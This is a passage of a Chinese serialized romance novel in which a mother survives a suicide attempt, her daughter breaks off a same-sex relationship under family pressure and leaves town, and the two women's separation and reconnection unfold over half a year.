小妹的笑那么甜,那么纯粹,小妹牙牙学语开始,便总是抓着她的手,叫姐姐,姐姐,这是一种扎根在血肉里的姐妹情,早在三十年前,小妹离开时,周京芳悲痛欲绝,要寻短见,她想随她去了,但被林鸿拦下来了。 原因只有一个: 你肚子里有个宝宝,我们连名字都取好了,她叫林筝墨,算我求你,为了孩子,你不要死好不好? 林筝墨的出现某种意义上救了周京芳一命。 墨墨出生那天,南城正值秋天,漫天的黄叶在窗外簌簌飘落,天空有几只风筝在飞,飞得好高,秋日正是放风筝的好季节,正好应了她名字里的那个“筝”,她想象自己的孩子能像天上的风筝一样,快乐自由,周京芳躺在医院的白床上,怀里搂着林筝墨,暗自决定,重启一次人生。 可命运就是这般捉弄人。 同样的事情,在同样熟悉的人身上,又发生了一次。 这让周京芳觉得,她活着的这几十年来,不过是老天的一种垂怜,这种垂怜也是一种惩罚,妹妹的怨恨落在了墨墨身上,墨墨成为了京田,而京田从未原谅过她。 从未原谅过。 那我给你道歉好了。 夏日午后,站在桥上看江面,很是平静。阳光是冷的,渗透到背脊里,像冬日的雪那般冰冷。周京芳抬头看天,日光是白色的,有点像手术室里的灯,白的,白色是妹妹皮肤的颜色。 回忆起林筝墨那天下午发狂似的宣泄,觉得自己其实也不是一个很棒的母亲,这些年来,是她自我感觉良好了。 据说人死掉之后,什么就都不重要了。那一刻她是真的想死,她不是想用死亡来威胁林筝墨,而是想通过这样的方式,对自己的过错进行一次和解,她确实在内疚中思念着周京田了。 于是她跳了。 跳的那天,她没吃周医生开的药,她的情绪正值顶峰,居然在坠河那瞬间感到一阵释然。 浑浊的水钻进鼻腔里,她呛咳几次,求生欲让她扑腾了几次,但灭坏欲又让她放弃了挣扎,她听见渔船的呼喊。 “喂——” “喂——” “不要!” “做什么傻事!” “诶!” “喂!” 她又听见别的声音。 是林筝墨幼年时期嘤嘤的哭啼声,还听见钢琴键发出的“哆——”“咪——”“妈妈,这个好难!”,然后变成了一首流畅的乐律,墨墨小小的手变得纤长,墨墨头发披在肩头,乖巧温净,墨墨是周京芳永远的小公主。 她向上游了一点。 可她又听到: “你妹妹当初遭受的一切,就理应当发生在我身上吗?这对我来说会不会有点不公平?那种感觉让我好痛苦你到底知不知道!” 于是她又坠落了。 她窒息了 脚下是水的悬崖,踩不到底,船的引擎发出呜呜的鸣声,在哗啦的水声里逐渐稀释着 到哪里了,全然不知。 医院走廊拐角,林筝墨冲出来,抓着林鸿的肩膀疯狂晃着,她在诘问他,也在诘问自己,泪在宣泄中如此微不足道。 而简越,靠在墙边注视着这一切。 什么是体面。 什么是爱情。 什么是抛弃。 什么是执着。 什么什么 忽然觉得夏天如此漫长,瑰丽的花朵在日光中肆意生长,本该美好,可阳光愈演愈烈,灼热到愈发冰冷了,枯萎殆尽的花蕊在风中飘絮,爱情只能和植物生长一般迭代更新。 总归要接受事实的。 抢救室的灯还亮着,红艳艳的字嵌在冷冰冰的墙上,像中式花圈,像诡谲笑眼,原来活在这个世上就要被这样或者那样束缚,怎能说洒脱就能洒脱。 不论今天是什么结果。 结局已经预见了。 第68章 第六十八章 她是破碎的林筝墨 第六十八章 抢救室三小时, 周京芳差点没救过来,差一点。还好渔船的人有经验,在急救车去之前替她做了心肺复苏,不然可能酿成大祸。 老天保佑, 老天保佑。 这个结果总归是赦免了所有人。 林筝墨先前惊魂未定, 终于缓了口气, 却发现简越已经不在走廊。 她看手机,三分钟前简越发来一条: 【我先走了, 好好照顾阿姨。】 林筝墨看着这条讯息, 想说点什么,终究是没回复。 “墨墨,你妈出来了。”林鸿道。 林筝墨把手机揣兜里, 看着推出来的周京芳,面色枯槁,腮颊呈现出前所未有的苍白, 去握她的手,是凉的, 头发也是湿的。 医护将周京芳推到病房, 提醒:“病人还在昏迷状态, 需要静养,因为情况特殊, 家属除了日常陪伴, 还是要多多开导。” 林鸿连忙应声:“辛苦了, 辛苦了,谢谢谢谢。” 虽逃过一劫,依旧惊魂未定,不敢想, 如果今天是最坏的结果,那以后要怎么办,大家都不要活了。林筝墨一身冷汗,上天真是开了个太大的玩笑。 病房里,林筝墨和林鸿忙前忙后,总算安顿下来。神经紧绷了一个下午,两人坐下后异常沉默,偶有眼神触碰,却不知道该说什么。 林鸿低头看了眼手表,“饿吗?吃点什么?”他想起身,大概是受不了这样的氛围,想逃。 “不饿。” 于是他又坐下了,表情讪讪的,始终蹙着眉,有些话不能不讲,只能硬着头皮说: “你妈确实受刺激了。” 林筝墨紧紧捏着手机,拇指在手机边缘来回摩挲着,指节压得泛白,好半天挤出一个字:“嗯。” “那你以后怎么打算?”林鸿还是向林筝墨施压了,“刚刚我也看见她了,原来葬礼上你们就在隐瞒了。” 说得比较隐晦。 回忆起那日,两人还抱着睡觉,林鸿也惊讶,怎么那么亲昵,原来早有端倪, 见林筝墨不说话,林鸿叹了口气,直言:“其实我也接受不了,我也在消化这些,这么多年,发现也不够了解你,的确,是我们自我感觉良好了。” “没有。”林筝墨低头,满眼愧疚,“你们做得已经很好了。” 只是我很难满足你们的期望而已。 又是一长段沉默。 林鸿手肘撑在膝盖上,一只手压在侧脸,指尖把他的皮肤压出指印来,似是在思考什么。 “你也别觉得我们固执,没有几个家长受得了。更何况她母亲和你妈之间的关系太复杂。有一件事一直没和你讲,当年出事的时候,你妈正好怀着你,心理上受不了,想寻短见,是因为你,她才没做傻事,不过,现在我知道了,我怀疑她这些年从没好过。” 林鸿的声音有点像咒语,让林筝墨烦上加烦,可烦烦相交,也麻木了。 “说说妈妈的事情吧。”林筝墨揉揉眉心,“该怎么做我会想清楚。” 林鸿嗟叹:“那都是好多年前的事情了” “小姨这件事,我是不是也该知情了?” “那就说说你小姨。” * 那就从小姨说起。 我叫周京田,死的那年刚好二十二岁,我的生命在二十二岁生日那天戛然而止,蜡烛有很多种,但生日蜡烛变成祭日蜡烛的,我们村就我一个。 京芳是我的姐姐,而姐姐的好闺蜜则是我的爱人。 爱上简桑是命中注定,我在很小很小的时候就认识简桑了,我叫她桑姐姐。 桑姐姐比我大六岁,在我还是个孩童的时候,一只手牵着姐姐,一只手牵着桑姐姐,她们都把我当妹妹看待,那是我最幸福的童年。 感情变质也是不可控制的事情,就是爱了。女人爱女人,是那时候的大忌,是死亡之钉,注定了我的人生是一场悲剧。 与桑姐姐的爱恋,是一场禁忌又情不自禁的自感坠落,我主动的,她拒绝过很多次,但有些东西太满了,自然会溢出来。 我们谈了大约半年的恋爱,小心翼翼,如履薄冰,偶然的一封信件,揭开了我与她的面纱。 二十二岁生日那天,我和姐姐大吵一架,她挺着大肚子,指着我说:不可能,不许,绝不允许,以后的人生要如何,云云 我不敢顶撞她,怕伤了肚子里的孩子。 听得烦了,只好逃避。 我不觉得自己的人生能被他人操控,连我姐姐也不许,所以我一句话也没听进去。我知道的,迟早有一天,我会离开这个地方,和简桑一起,毕竟我们早就在策划这件事了。 那天傍晚,细雨绵绵,我踩着泥泞要去找简桑,我知道她一定会安慰我。天快黑了,昏昏暗暗,马路弯道,一辆大货车忽然冲出来撞向我,他来不及踩刹车还是怎样?我听到砰的一声,剧烈的疼痛让我意识到,哦,完蛋了,隐隐约约感觉到自己应该是四分五裂了。 那瞬间觉得命运很荒谬,我在想啊,这一死,要造成多少遗憾啊。 我还没来得及和京芳说几句话,简桑也是,我并没有怨恨任何人,我以为这只是一次比较激烈的争吵,但暴风雨总是会过去的。 我仗着姐姐对我的溺爱,总是与她置气,之所以置气,是因为知道姐姐那么爱我,她所有的出发点一定都是为我考虑的,我和简桑之间的事情,是很离经叛道,但姐姐不会不理解我的,只是时间问题。 这分明只是一场意外。 意外,这两个字说起来轻飘飘的,却又沉甸甸的。 也许我不应该心急去抄近路,亦或者晚一点出发,总之总之,这就是逃不过的命吧。 我应该流了很多很多血,还是说我的肢体都不在我身上 了?那司机凑近我时,一个四五十岁的大男人居然失声尖叫。 我心想,我是死得很惨吗? 应该是吧。 后来我什么都没看到。 我是在雨天孤独地死去的。 我想见京芳,想见简桑,我死的时候,只看到灰白的天空,雨水冰凉。 我知道,周京田,你闯大祸了。 死人不能讲话。 我谁都不怨。 我怨我自己。 * “所以我说,不是谁的责任,但谁都有责任。”林鸿叹气。 “妈妈为什么觉得简阿姨是杀人犯?” “因为她觉得,如果她们不相爱,就不会有这样的结果。但其实,她内心一直在责备自己,只是她不说。” 似乎合理,也不合理,这是一种强加因果的自我审判,不能完全对,也没有完全不对,很难判定。 林筝墨听累了。 趴在床边,脸贴着床单发呆。 思绪很乱,胡思乱想,后面怎么办?她和简越怎么办?这一切的一切,都更加混乱了 * 周京芳是第三天醒过来的,状态比以前更加麻木,林筝墨寸步不离守着她,有时候离开也只是回家换套衣服。 成年之后,她其实很少这样密集地与周京芳相处,才发现,原来人长越大,和亲人的关系会越来越疏离。 这些日子,她试着和周京芳对话,但周京芳都充耳不闻,有时候说不了两句,周京芳就会背过身去,她说她不想听。 她们的关系,被冰冻了。 林筝墨从隔壁医生那里了解到,妈妈其实已经暗地里生病很久,吃药,京芳一直在偷偷吃,药放在家里冰箱最上面的位置,忽然想起没出事以前,有一天回家,京芳把厨房的门锁着,里面听到捻药片的声音,那时候林筝墨一直没放心上。 傍晚,林筝墨走出病房,站在医院的阳台发呆,发现天空低压压的,云太厚,太红,好像就在头顶,空气过于稀薄,已经不能呼吸了。 她发了很久的呆,直到眼神定格到某个节点,眨也不眨,忽然觉得自己是死尸,浑身的细胞没了活性,就快腐烂、恶臭,好似连尸斑都爬到苍白的手臂上了。 「我还有能力去爱一个人吗?」 这是林筝墨开始思考的问题。 「我的爱是瘟疫,感染的人都会慢慢死掉,连我自己也受不了,那谁也不要来遭受这种痛苦了罢。」 痛苦不能分担,只会复制,一分为二。若是还稍微有点良心,也不要让简越再陪我度过这难关了,这不是勇敢,是自私。 有眼泪从眼角滑落,但其实哭不哭也无所谓,反正也足够痛苦了。 她从通讯录里翻出简越的电话,嘟三声后,她们链接对话。 林筝墨问她:“你吃晚饭了吗?” 简越:“还没有,但饭做好了。” 林筝墨顿了顿,一长段的电流空白。 “是想说,以后我都不回来吃饭了。” 天上的云掉下来了,落在树梢上,融化的雪一般,湿漉漉地淌向大地。没谈过恋爱,没说过分手,没想到,原来与生俱来的语言也能僵硬到这般地步。 上个月最痛苦的时候,也没生出过这种念头。觉得无所不能,无山不越,终是过于自大了。 她听见简越吸了一下鼻子,带着湿闷的腔调:“过几天回来吃也没关系。” “我不饿。”林筝墨在痛苦中郑重:“和你当同事很开心,和你在一起的日子也无比快乐,你是个很好的人,我不是。” “林筝墨” “要我说得明白一点吗?好吧,简越,我们分手吧。” “我可以理解你现在——” “不要理解我。”林筝墨强撑着:“不要再理解我了。” 不要再理解我。 我不值得被理解。 退一万步讲,就算你理解我的全部,我又能给你什么? 这份感情如此珍贵,唯一尊重它的方式是,在解离之前提前做决定。 “东西张老师替我带走。” “林筝墨”简越抽噎到无力了。 “但是泡泡就送给你了,它喜欢你,你也喜欢它,让它陪你吧。”林筝墨在哭,但没有哭腔,她也不知道自己怎么做到的,也许人在痛苦中确实无所不能。 她虽处于极度,极度悲伤的状态,她觉得自己的灵魂已经失声大哭,身体却还遵守规则,死尸就是死尸,乖巧的死尸,没有破绽。 医院的走廊好像坟墓里铺出来的冰冷地毯,林筝墨踩在上面,白裙子飘得有点哀艳,连眼眶也是消毒水的味道。 想起小时候吃过的坛子里的泡菜,那么酸,那么咸,现在眼泪也是这种味道,还有一点苦,苦到四分五裂,苦到讨厌夏天。 在简越说下句话之前,挂断电话只是机械的动作。 林筝墨低头,手臂上是蚊子咬的大包,却不觉痒,她眨眨眼,天已黑了,云消失了,灰溶溶的橡树立在外头,树叶深密得像一个虫洞。 她觉得夏天在咬她,空气在咬她,消毒水在咬她,连周遭的声音也在咬她。 她是破碎的林筝墨。 第69章 第六十九章 逃跑的林筝墨 第六十九章 周京芳出院那天刚好周二, 她家是和周二杠上了。 这期间,周京芳依旧拒绝和林筝墨交流,林筝墨随她心意,也不主动找她说话了。 那天, 林鸿负责接周京芳出院, 林筝墨却破天荒地去了趟菜市场。 她买了两斤排骨, 一斤上海青。原来菜市场物价比盒马超市便宜那么多。 回家,家庭氛围十分沉寂, 大家都在沉默中做作业, 俗称:人生课题。 而厨房做饭的人变成了林筝墨,她说今天她下厨。 糖醋排骨。 番茄蛋汤。 家庭熟悉版本的菜谱,因为知道端上桌也没打算有人要吃, 所以乱做。 方方正正的桌,依旧缺失一块。 林筝墨摆好三碗饭,三双筷, 邀请他们坐下。 “妈。”林筝墨替京芳盛了一碗汤,捏着汤勺的手纤瘦许多, “我有话和你讲。” 林鸿瞥了林筝墨一眼, 暗示她不要乱讲话。 “哦, 那爸,我先和你说吧。” 林筝墨面色无恙, 规规矩矩盛好第二碗汤, 一人一份, 分别放在他们面前,他们不喝。 “爸,我长话短说,也有话直说。最近家里发生大事, 稍微对你提一点意见,你以后少看点书,你研究那么多名著,为什么对我妈一点也不了解?”死人说话就是狠,顾不上什么情面,她开始不懂礼貌了,“妈妈是你枕边人,是不是要多关注关注她,不要装好丈夫,好爸爸了,你再这样游神,以后只能在江里找人。” 林鸿汗毛竖立,瞬间哽住,竟然哑口无言,诧异地看着林筝墨,怎么这副皮囊这么陌生?她是被鬼附身了吗? “妈。”林筝墨话锋一转,“我告诉你一个好消息,我和简越分手了。” 周京芳眼皮轻轻颤了一下。 “我听话了,我投降了,我的同性恋病彻底被治好了。”林筝墨苍白的脸颊透着凄迷,又略带嘲讽,“是,我不知道你有抑郁症,对你的关心疏忽了,对不起,这句对不起是真的。我当然不希望失去你,所以你要积极配合治疗,好好吃药。可是你的心结我解不了,下一次您再跳江,我无能为力,也只能披麻戴孝,跪地长哭了。但很想说,小时候你总告诉我,坚韧永远不会被打倒,现在我变成了这样的人,希望你也是。” 连糖醋排骨也愣住了。 最不喜欢说话的人把这些年要说的全都一并说了。 “最近我有好好在思考一些问题。”林筝墨放下筷子,垂眸,睫毛一颤一颤,一字一句地说:“人死不能复生,不要替死人说话,不要臆想了,她不一定恨你。” 周京芳脸色终有变化,她抬眼去看林筝墨,发现林筝墨好像变了,说不上什么味,如果一定要描述,那就是风筝的线断了。 “最后,我宣布一个事。”林筝墨释了一口气:“南城让我觉得太压抑了,为了避免下次你们在江里捞到我,我打算离开。爸,你和沈校长熟,和他说一下我辞职的事情吧。” “你要辞职?”林鸿不解,“可以休假,为什么辞职?” 林筝墨唇角凝着冷意,略带讥诮:“其实简越是我隔壁同事,如果你们想看我和她暗送秋波,旧情复燃的话,尽管让我待在南中,反正,我不能确定能控制住自己,你们也知道的,偷过一次情,偷第二次就简单了。” 她倒是坦荡荡说起糟糕的话了,不装了。 林鸿想说的话又活生生压下去了。 “从今天开始,妈妈爸爸,我是个不婚主义,独身主义,以后断了给我介绍男人的念想吧。作为女儿,我已经仁至义尽,你们不能把所有的负担都摞我肩上,我做足了,做尽了。至于我的前女友——” 说起简越。 林筝墨情绪才有了变化。 眼眶暗自浮起一点水雾,眨了好几次眼,才控制住情绪。 “至于我的前女友,你们就不要去打搅她,我不会和她联系了,我再也不当小偷了。” 糖醋排骨。 番茄蛋汤。 冷喽冷喽。 电视机屏幕黑了,黛玉葬花的环节结束了,葬的不是周京芳的花,而是林筝墨的花。 那天的菜实在难吃,她甚至没有焯水,因为她知道,没人会吃 * 简越给林筝墨打了一百万个电话,每一次都是您拨打的电话正在通话中,请稍后再拨,这是被拉黑的意思。 明知不会有人接,但简越想哭的时候就给她打一个。 听那句:您拨打的电话正在通话中,请稍后再拨,居然变成了一种习惯。 简越分手那段时间特别困,她可以不吃不喝不睡,也可以一直睡觉,学校的上课铃声是永恒不变的《菊次郎的夏天》,连放假也在响,可重复的声音总是吵不醒她。 有时,午后在睡梦中醒来,矿泉水的光影在天花板晃荡,有点像镜子里破碎的她。 偶然一天,又在午后沉沉睡去,恍恍惚惚听见隔壁在弹那首《春日,樱花还有你》,是林筝墨指尖的节律,简越好想去开隔壁的门。 却怎么也醒不过来。 害怕不是。 她觉得不是。 夏天过于冗长了,泡泡睡在床脚,时常皱着下巴看着她,连小猫也变得沉默。 如此如此,一日一日,转瞬八月末,开学了。 简越好单纯,她居然以为能遇见林筝墨。 直到张老师支支吾吾告诉她:“小林小林好像辞职了?” 她绝望到令人心碎。 连张老师也看不下去,连忙买一杯甜心芭乐,送到隔壁办公室去,“赢钱啦,赢钱啦,清一色自摸杠上花,请你喝请你喝。” 还没完。 走廊不知道什么时候忽然发出一声悲痛欲绝的哀嚎,赵筱筱开学第一天,天塌了,夸张到跪地大哭,蜷缩在墙角没了力气,哭得鼻涕乱飞,全然是不注意形象了,沈礼萍叫了三个姐妹才把她拖走,英语课本湿了一页又一页,消息传开了,接着全班跟着哗然,像林筝墨真死了似的,集体哭丧。 从此以后,高一1班有一个禁止的话题:林筝墨。 林筝墨。 我们恨你! 恨你! 别让我们在街上遇见你! 罪犯! 通缉你! 林筝墨自然是不会出现在南城的街道了。 连鬼也不知道她死在了哪里。 有时候简越真的怀疑她是不是死在哪间出租屋了?那个曾经说要和我厮守终生的人,不会已经发烂发臭了吧?字面意思的发烂发臭。 她好想她,也好恨她,恨她连分手都只敢打电话说,可怜到连一个分手吻都没有,她快忘记她的味道了,如果再来一次,她死都要揪住她,私奔也可以,死了也可以,跳了也行,都不活了! 时间就在这种莫奈何的情绪中悄然溜走了。 夏日已逝。 初秋降临。 一个平凡的,无聊而冗长的上午。 正在工位上的张老师忽然发出“嚯”的一声,眼睛一瞪,唰的一下站起身来,直奔隔壁。 隔壁简越看似人在工位上,但其实人已经走了一会儿了。 “简主任!”张老师急急忙忙过去,“她发朋友圈了!” 这个“她”过于含糊,简越根本反应不过来。 “什么?” “小林发朋友圈了!”连张老师也开始骂:“这死丫头发消息一条不回!老子真的想宰了她!” 照片只有一张,简越点开来看,犹如一只蝴蝶落在心间,翅膀掀起波澜。 照片里,林筝墨戴着墨镜,穿着一件露手臂的灰色背心,搭在篮筐上,她神情冷肃,是没笑的,有一点拽,拽得摄人心魄,风姿绰约,别有一番韵味,真是全世界欠她一百万了。简越看着照片,恍惚好几秒,确认这是林筝墨,她变黑了一点点,虽然依旧是白的,瘦了一点点,气质更加沉静了。 她站在热气球上,背景是尼罗河璀璨的日出,是很多外国人,对比起那些人,她真是白瑕如玉,美得失控,简越心跳噗通一声,好像又掉进了关于林筝墨的漩涡里。 “我的妈呀,这是小林啊?”张老师凑过来仔细看,“她怎么变成你这样了?不是,她好像比你更飒了!” 简越心跳如雷。 她想说,张老师,她穿的这件衣服,确实是我的。 她就是个小偷,连我衣服都偷。 为什么没有人把她缉拿归案,为什么。 她去E国了,一个人坐的热气球,配文是:我坐了两次,第一次没看到日出,第二次看到了。 简越点了个赞,莫名又很生气,便评论:哦,还在,都以为你死了。 张老师抢过手机,连忙切到聊天框,发一句语音:小林那个评论不是我发的啊不是我发的啊!我没觉得你死了!对了,你还好吗? 林筝墨拉黑了所有人,唯独张老师。 貌似她有些私心在里头,为什么呢?大概也许应该有可能,也是有一点不甘心和情不自禁吧。 林筝墨诈尸,回了几个字:我很好,谢谢张老师。 然后,她又死了。 给她发什么都不回复。 死了很长很长一段时间,大概是三个月,一直死到冬天来临。 简越行尸走肉一般地生活着,思念几近疯狂,然后到怨恨,到发癫,到最后已经是要杀人的地步,她要追杀一个叫林筝墨的人,她要将她千刀万剐。 她暗自决定:如果这辈子还能再遇见林筝墨一次,她一定要好好惩罚她,她不能再当善解人意的简越了。 无意间验证了那句:我爱你和我恨你是流动的。 爱到极致也许真的会生出一点恨来,有时候太恨一个人未尝不是想得到她的爱呢。 呵呵。 我们人类。 直到冬天。 12月25日。 摩羯座的简越终于迎来了孤零零的三十一岁生日。 南城下着雪。 整条街都像一个芝士蛋糕。 茶几也放着一个芝士蛋糕。 简越没吃,她蜷缩在沙发上,搂着泡泡睡着了,电视里在放什么乱七八糟的东西,有噪音就行,反正也不爱看。 迷迷糊糊间,有人摁门铃。 她惺忪醒来,放掉泡泡,忙起身去开门,她真是睡迷糊了,以为林筝墨回来给她过生日了,开始做白日梦,定睛细看,却只是外卖小哥而已。 “您的外卖。” “我没点。” “地址确实是填的这里。”小哥把信息给她看,“确认一下,是你的啵?” 简越草草一眼,“应该是吧。”接下,悻悻关掉门。 她觉得应该是赵筱筱闪送的礼物,白天家里人说一起吃个饭,简越说不了,有点小感冒,只想在家睡觉。 袋子随手在桌上放下了。 简越又躺在沙发上,躺了两分钟又起身,觉得妹妹的礼物不拆不好,便又去拿外卖的袋子。 一层层拆。 拆到最后一只有一个不起眼的小盒子。 简越忽然停住。 她觉得这应该不是赵筱筱送的礼物。 妹妹的礼物总是花里胡哨的,她哪里懂这种低调的美。 开始乱猜。 谁送的。 是死了烂了臭了让我疯了的那个坏女人吗? 她揭开小盒子,里面平静地躺着一条项链,坠饰很特别,是由浅色玛瑙铸成的,包裹着一朵真实四叶草的项链,不知道是怎么做的,是把四叶草融进去了,相当细致漂亮。 盒子里面附带一张贺卡,那人文字相当吝啬: 生日快乐。 第70章 第七十章 简主任好像谈恋爱了 第七十章 林筝墨的生日快乐并没有带来快乐, 反而痛苦居多,犹如万千根针扎在简越心头。她甚至想下楼追问外卖员,这个项链是从什么地方发过来的,可转念一想, 林筝墨既然敢寄, 必然是找不到人。 怎么快乐 不能快乐。 想把礼物扔掉、摔碎、想把盒子狠狠撞在地板上, 积闷已久的情绪总要有出口,可最后为什么也做不到。 连生气也找不到合适的豁口, 简越发现自己真的是笨蛋一个。 原已做好准备, 让三十一岁生日就在这样冗长的折磨中度过,难过也好,反正也足够难过了, 伤心也好,反正也够伤心了,浪费时间也好, 反正时间也没有意义了。 可是为什么,明明消失了, 又要出现, 又要让她饱受折磨, 让她的思念到达顶峰,让她开始思念属于她的一切, 她的触碰和吻, 脸颊和眉毛, 一切一切。 快疯了。 家里实在冷清,陪伴简越的只有泡泡,无处宣泄,只能抱着小猫嚎啕大哭, 哭累了,躺在沙发上睡着了,半夜冷醒,一看时间,已经过了十二点。 可蛋糕还没吃,便点上蜡烛,给自己唱了一首生日歌。 三十一岁的简越。 生日快乐 * 冬天更深了,愈发寒冷了,围巾裹在脖子上,要绕很多很多圈才能觉得暖和。南城的街道全是雪,踩上去总发出沙簌簌的声音,天空也不像夏天那般清莹了,有点灰,有点白,有点荒凉的淡寂。 简越穿着一件黑色大衣,孤身行走在雪地里,下巴埋在围巾,背影有种萧然的美丽,总归是美丽的,再落魄也要和这个词沾一点边。 到办公室,发现张老师又来送温情了,今天是温咖啡。 “年末了,简主任。”张老师靠在办公桌上,含笑与她对话:“到了新的一年,就要开始新的生活了,元旦到我家来吃饺子!” “你又清一色自摸了?”简越揭开咖啡上的小盖子,没喝,手指在边缘摩挲着,指甲微微泛白,“倒也不用老是破费来安慰我。” 张老师笑,“今年运气好,是真的在赢钱,都没怎么输过。” “对了,张老师。”简越望向张老师,眼神凝滞:“手机能不能借我发条消息?” 张老师稍愣,很快意识到:“你要找她啊?” “可以吗?”简越直视张老师,略显疲惫,“有点太久了,有话要对她说。” 林筝墨只留了张老师的联系方式,但张老师给她发信息她也不会回复,不过是一定能看到的。 犹豫片刻,张老师将手机摸出来,递给简越。 “可以的,你想说什么就说吧。” 这半年来,简越虽然痛苦,却从来没有打搅林筝墨,因为她知道林筝墨也很难,她虽然难过,却不希望这种难过传递到林筝墨那里去。 是实在忍不住了。 她快死了。 简越接过手机,在张老师看不到的地方打下一行字: 【简主任好像谈恋爱了。】 咻—— 发送。 然后立马删除。 待到张老师眼睛瞅过来时,屏幕上实则已经什么都没有了。 “你发呀~”张老师蒙着自己眼睛,“我不看就是了。” 简越将手机还给她,“发了,但我删掉了。” “噢,噢,好吧!” “再求您一件事。”简越眼神凄迷,可怜得令人心疼。 “什么?” “如果她回复,您别说这条信息是我发的。” 张老师欲言又止,想说点什么,老人家心想,你别把我往火坑里推嘞!!可耐不住心软,这半年来简越怎么过的,她最清楚了。 “哎,好吧好吧!都行!” * 林筝墨的出逃是迅猛的、彻底的、不留情面的。 她半年没回南城,周京芳和林鸿要想见她一面简直是痴心妄想。 颇有一种:夺走我所爱,那我谁都不爱的狠劲。 小小林筝墨,给所有人都下马威了。 她甚至把他们都删掉了,没有人知道她在外面做什么。有时候在想,她是不是遇到什么不测了,可过不了多久,她又会莫名其妙寄个东西来报平安,永远只留下四个字:很好,勿念。 搞得周京芳心情忽上忽下,惴惴不安。说来也怪,周京芳在这种反复的折磨之下,反而看开了一些东西。 人活在世上那么较劲干什么?到最后只会觉得开心就好,她是死过一次的人,逐渐通透起来。 “她加我好友了。”上午,周京芳虚眯着眼睛看手机,“她说她今天回家吃饭。” 林鸿摘下老花镜,他确实不怎么研究名著了,开始养花。 “她加你了?她还要回来?” “对。”周京芳起身,捎上茶几上的钥匙,“我去买菜。” 林鸿扔下铲子,“我也去。” 老两口有种说不出的激动,却互相不戳破,拿钥匙的拿钥匙,戴围巾的戴围巾,步伐稍显快了些,走到楼道,林鸿忽然问:“她突然回来,她在外面旅游够了?” 周京芳摇头,“不知道。” “她回来的话,你不要再说她了。” “我不说她。” 没人知道林筝墨为什么回家,只有当事人知道。 当然是因为那句—— 【简主任好像谈恋爱了。】 * 简主任好像谈恋爱了。 这句话,唯一的救赎是“好像”二字,可即使是这样,林筝墨也闷得喘不过气了。 她没有回复张老师,但买了回南城的票,高铁在寒风中呼擦呼擦,却难以抑制焦躁的心情。 和谁谈? 真的吗? 一件非常隐私的事:在林筝墨的世界里,她并没有真的和简越分开,虽然说分开的是自己。 林筝墨是在和周京芳置气,在和过去的自己对抗。只有真的放下所有的东西,她才能重新开始,才能重塑那些已经坍塌的东西,她离开简越,不是真的离开简越,是为了获取未来的可能。 没有人能懂的,没有人。 她太难过了 但她是理解简越的,若简越真的和别人重新开始,她也只能只好躲在被子里哭三天三夜,哦,不,三万年,三万天,哭到死,但也算活该。 可高铁真的开得太慢了。 心理意义上的慢。 这趟车名为蜗牛。 漫长到根本追不上焦灼的心。 【南城北站,到了。】 林筝墨提包下车,长腿一迈,成为最先出去的那批人。南城真的太冷了,在此之前她一个人躲在西城,那里气候要炎热一些,冬天其实是不下雪的。 从车上下来,雪花落在林筝墨的墨发上,缀得发丝晶莹莹的,她提着一个浅卡其的挎包,迈上一辆计程车,微信上与周京芳发消息:【半小时后到家。】 家里其实没怎么变。 和夏天走的时候没太大差别。 名著少了几本,电视机里的红楼梦变成了脱口秀,陈设还是那样的陈设。林筝墨回家的时候淡淡说了句:“我回来了。” 林鸿看她一眼,忙应声:“诶!我们在做饭了!” 周京芳在洗菜,手指泛着凉,指节在菜芯里搓来搓去,心情是有波澜的,但却没吱声。 她有点不知道怎么和林筝墨交流。 厨房的玻璃窗反射着林筝墨的模样,半年过去,依旧是清瘦清瘦的,黑色大衣,浑身漾着冷肃,人却白得发光,乍一看却不像从前了,像是脊梁骨后面支出一点别的灵魂因子来,那种感觉叫坚韧,还有坦荡,恍然间她是真的长大成人了,那种气质更让人着迷了。 周京芳偷偷一瞥,立马收回了视线。 林筝墨走到厨房门口,站定,神色淡然:“吃什么?” “不炖汤了!”林鸿嘿嘿笑,貌似是为了缓和尴尬,“你妈说炒几个菜给你吃。” “好,给你们带了点礼物,放在茶几上了。”林筝墨双手抱胸,靠在门框上,凝视着周京芳和林鸿的身影。 林鸿忽然转身,“以后就待家里了吧?” “当然不,只是回来一趟。”林筝墨显然相当直接,“我在西城找工作了,兼职弹钢琴。” “噢,喔”林鸿声音雾蒙蒙的,又小声说:“南中的职位还挂着,关系硬,要上课就回去上。” “我不上了。”林筝墨故意戳他一句:“简越还没辞职吧?我不知道,没有联系了。” 周京芳关了水龙头,轻轻晃了晃沥水篮里的菜,戳开抽油烟机,倒油,炒菜。 林鸿面色尬红,支支吾吾说不出一句话来,打哈哈:“炒芹菜牛肉丝、清炒上海青,土豆丝什么的。” 林筝墨听了当没听,转身去沙发看脱口秀了。 漫长。 脱口秀不好笑。 如坐针毡。 【简主任好像谈恋爱了。】 【简主任好像谈恋爱了。】 简主任。 好像。 谈恋爱了。 冬天的雪为什么那么冷,关了窗还是冷,像是雪花渗进了骨子里,寒冻刺骨。 林筝墨机械地坐着,看似人还在,但确实也走了一会儿了。 她们连灵魂出窍都如此相似。 钻心的疼。 难以忍受。 拿出手机,九宫格发出啪嗒啪嗒的声音,打下一句:【哦,她和谁谈恋爱了?】——发送给张老师。 张老师正在输入中 这24小时后才回消息呢。 张老师:这啥啊! 张老师:怎么回? 张老师:老人头痛jpg. 张老师反手截图给简越,“小简,这怎么回?” 简越:“你就说,是一个年龄四十岁左右的女人。谢谢张老师了。” 张老师复制粘贴:“是一个年龄四十岁左右的女人!”——贴心地把句号改成感叹号,以表迫切之情。 屏幕上的文字让林筝墨心口刺痛。 “那她幸福吗?” 张老师一瞅,明白了,原来是发了那个,这些小年轻撒谎真是脸不红心不跳的。 张老师跟上步伐,一代撒谎宗师:“还行吧,但好像没有你们以前幸福,不过你不回来干预一下的话,恐怕难讲,那女的对她很好!” 林筝墨:“没有,我和她已经分手了,没有以后了。” 张老师:“那不说这个,你现在哪?” 林筝墨:“今天刚回来。” 张老师坐直了身子,“怎么不早说!晚上来我家包饺子不?有点想你了我的妹妹。” 林筝墨:“我就待一天,明天就走。” 张老师:“那也不妨碍晚上包饺子。” 林筝墨叹了口气,眼神迷茫,想起张老师说的话,心口闷得慌。 张老师又发:“自从离婚过后,我打麻将每天都赢钱,那老头子原来克了我三十年!!” 林筝墨难得盯着屏幕笑一下,可这种笑,也没那么开心。 张老师:“来吗?来的话我买馅儿去。” 林筝墨:“好。” 张老师:“中!!!” 下一秒,张老师切换屏幕,点进简越聊天框。 【小简,晚上来吃饺子!】 简越:【最近食欲不佳,就不来了。】 张老师:【好吧那我和小林吃。】 